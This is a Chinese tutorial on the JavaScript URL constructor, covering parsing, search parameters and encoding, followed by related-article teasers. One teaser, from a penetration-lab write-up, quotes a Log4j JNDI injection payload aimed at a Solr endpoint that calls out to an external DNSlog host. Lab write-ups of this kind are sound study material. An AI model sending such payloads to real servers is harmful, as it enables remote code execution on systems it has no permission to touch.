JS【详解】内置构造函数/对象 URL(可用于创建和解析 URL,操作搜索参数,编码 url)

用途

用于创建和解析 URL

语法

new URL(url, [base])
  • 第1个参数 url :可为完整 url 或路径(如果设置了 base)
  • 第2个参数 base:可选的 base URL,若第1个参数是路径,则会根据这个 base 生成 URL
new URL('https://www.baidu.com/admin') // https://www.baidu.com/adminnew URL('/admin', 'https://www.baidu.com') // https://www.baidu.com/admin

更多用法

根据现有 URL 创建一个新的 URL

let url = new URL('https://www.baidu.com/admin');
let newUrl = new URL('login', url);console.log(newUrl); // https://www.baidu.com/login

解析 url

let url = new URL('https://www.baidu.com/admin');console.log(url.protocol); // https:
console.log(url.host);     // www.baidu.com
console.log(url.pathname); // /admin

在这里插入图片描述

操作搜索参数

  • append(name, value) —— 按照 name 添加参数,
  • delete(name) —— 按照 name 移除参数,
  • get(name) —— 按照 name 获取参数,
  • getAll(name) —— 获取相同 name 的所有参数(这是可行的,例如 ?user=John&user=Pete),
  • has(name) —— 按照 name 检查参数是否存在,
  • set(name, value) —— set/replace 参数,
  • sort() —— 按 name 对参数进行排序,很少使用
let url = new URL('https://www.baidu.com/search');
url.searchParams.set('q', 'test me!'); // 添加带有一个空格和一个 ! 的参数console.log(url); // https://www.baidu.com/search?q=test+me%21url.searchParams.set('tbs', 'qdr:y'); // 添加带有一个冒号 : 的参数// 参数会被自动编码
console.log(url); // https://www.baidu.com/search?q=test+me%21&tbs=qdr%3Ay// 遍历搜索参数(被解码)
for(let [name, value] of url.searchParams) {console.log(`${name}=${value}`); // q=test me!,然后是 tbs=qdr:y
}

编码 url

许多字符不允许直接在 URL 中使用,如大写字母和空格等,需编码为UTF-8

// 在此示例中使用一些西里尔字符
let url = new URL('https://www.baidu.com/wiki/Тест');
url.searchParams.set('key', 'ъ');console.log(url); //https://www.baidu.com/wiki/%D0%A2%D0%B5%D1%81%D1%82?key=%D1%8A

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1523978.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

【内网渗透】最保姆级的春秋云镜Certify打靶笔记

目录 flag1 flag2 flag3 flag4 flag1 fscan扫外网 访问8983端口,发现配置项有log4j 【vulhub】Log4j2:CVE-2021-44228漏洞复现_vulhub cve-2021-44228-CSDN博客 /solr/admin/collections?action${jndi:ldap://z5o5w8.dnslog.cn} dnslog测出可…

C++string类相关OJ练习(2)

个人主页:C忠实粉丝 欢迎 点赞👍 收藏✨ 留言✉ 加关注💓本文由 C忠实粉丝 原创 Cstring类相关OJ练习(2) 收录于专栏【C语法基础】 本专栏旨在分享学习C的一点学习笔记,欢迎大家在评论区交流讨论💌 目录 1.反转字符串 …

windows安装composer

windows安装composer 1.介绍 Composer 是一个用于PHP的依赖管理工具。Composer允许你声明你的PHP项目所依赖的库,并管理它们。它会安装和更新你项目所需要的库。 Composer为我们的项目提供了两个功能: 帮助PHP进行依赖管理。在项目中实现文件自动加载…

紫光同创——PLL IP 的使用(Logos2)

本文档主要针对 Logos2 系列的 PLL 配置,至于 Logos 系列的 PLL,可以参考《PLLIP 的使用(Logos)》的文档。 一、PLL IP 介绍 1、PLL 基本配置模式 Basic Configurations PLL IP 是紫光同创基于 PLL 及时钟网络资源设计的 IP,通过不同的参数配…

电量提醒工具(充电提醒)

可提醒50%到100%之间的整电量,女声提醒,不占资源,防止设备未充上电。 https://download.csdn.net/download/zzmzzff/89713499

input系统之InputDispatcher

往期文章: Input系统之IMS的启动流程 input系统之InputReader 1.概述 InputReader和InputDispatcher是Input系统的重要组成部分,InputReader主要负责从设备节点获取原始输入事件,并将封装好的事件交给InputDispatcher;InputDis…

快速构建 AI 应用的利器:Python 库 Mesop

在当今这个 AI 技术飞速发展的时代,开发者们总是希望能够更快、更便捷地构建 AI 应用程序。今天,我要给大家介绍一个由 Google 推出的 Python 库——Mesop。它的出现,让我们能够轻松地搭建高效的 AI 应用。 Mesop 是什么? Mesop …

MATLAB生成COE文件

MATLAB代码 % 参数设置 N 4096; % 数据点数量 t linspace(0, 2*pi, N); % 时间向量 width 12; % 位宽% 正弦波,幅度在0到5之间 sine_wave 2.5 * sin(t) 2.5;% 三角波,幅度在0到5之间 tri_wave 5 * (1 - abs(mod(t/(2*pi)*4, 2) - 1));% 方波&…

echarts--Y轴名称超宽换行显示行高问题处理

设置yAxis.axisLabel.overflow:break为超宽换行 yAxis: [{type: category,inverse: true, //y轴坐标轴向下position: left, // 设置 y 轴的位置在左边offset: 65, // 设置 y 轴距离左边的偏移量axisLine: {show: false,},axisTick: {show: false},axisLabel: {show: true,inter…

集成电路学习:什么是MOSFET(MOS管)

一、MOSFET:MOS管 MOSFET,全称Metal-Oxide-Semiconductor Field-Effect Transistor,即金属-氧化物半导体场效应晶体管,也常被称为MOS管或金氧半场效晶体管。它是一种可以广泛使用在模拟电路与数字电路的场效应晶体管(f…

day07-集合-MapStream递归

一、Collections 1.1 可变参数 可变参数就是一种特殊形参,定义在方法、构造器的形参列表里,格式是:数据类型... 参数名称 ​ 优点特点:可以不传数据给它;可以传一个或者同时传多个数据给它;也可以传一个数…

【系统架构设计师-2022年】综合知识-答案及详解

文章目录 【第1题】【第2题】【第3题】【第4题】【第5题】【第6~7题】【第8题】【第9题】【第10题】【第11~12题】【第13题】【第14题】【第15题】【第16题】【第17~18题】【第19题】【第20题】【第21题】【第22题】【第23题】【第24题】【第25题】【第26题】【第27题】【第28题…

【AQS源码】深入理解AQS的工作原理

【AQS源码】深入理解AQS的工作原理-CSDN博客

叉车专用AI防撞预警系统,带行车记录功能,守护人车安全!

AI防撞预警系统是一款为工业车辆等工程设备专门设计的智能视频监控装置。该系统通过三个独立的摄像头和深度学习算法实现机器视觉识别。 本系统的一个重要功能是能够能够实时侦测工作区域的危险状态并提供警示,一旦有人员进入危险区域,驾驶员即可得到动态…

SpringBoot2:RESTFUL风格接口开发及源码解读

一、RESTFUL简介 Rest风格支持(使用HTTP请求方式,动词来表示对资源的操作) 以前:/getUser 获取用户 /deleteUser 删除用户 /editUser 修改用户 /saveUser 保存用户 现在: /user GET-获取用户 DELETE-删除用户 PUT-修改…

海外合规|新加坡网络安全认证计划简介(三)-Cyber Trust

一、 认证简介: Cyber Trust标志是针对数字化业务运营更为广泛的组织的网络安全认证。该标志针对的是规模较大或数字化程度较高的组织,因为这些组织可能具有更高的风险水平,需要他们投资专业知识和资源来管理和保护其 IT 基础设施和系统。Cy…

ES6语法详解

以下是ES6常用的一些语法和特性: 声明变量的关键字变化:使用let和const、var来声明变量。 箭头函数:使用箭头(>)定义函数,简化函数的写法。 模板字符串:使用反引号(&#xff0…

【python】socket 入门以及多线程tcp链接

Socket 入门 及 多线程tcp链接 网络基础知识三要素 Socket是套接字的意思,是网络编程的核心对象,通信两端都独有自己的Socket对象, 数据在两个Socket之间通过 字节流(TCP协议) 或者 数据报包(UDP协议)的形式进行传输. 本文主要针对tcp流程进行讲解 socket-tcp流程图 1.创建服…

链表——单向链表续、双向链表

内存泄漏:当while(1)一直运行时,操作系统一直被申请空间,最终无空间可申请;造成内存泄漏。避免方法如:堆区手动申请的空间,都在用完后手动释放。 测试是否存在内存泄漏:…

REAL-FAKE: EFFECTIVE TRAINING DATA SYNTHESISTHROUGH DISTRIBUTION MATCHING 论文学习

这篇文章主要讲的是生成数据在模型训练中的作用,对于接下来要研究的生成多模态数据具有重要的作用。 文章摘要首先讲生成数据很重要,但在训练高级的模型的时候效果不好。论文主要研究的是这背后的原理并且证明了生成数据的作用。 介绍部分,…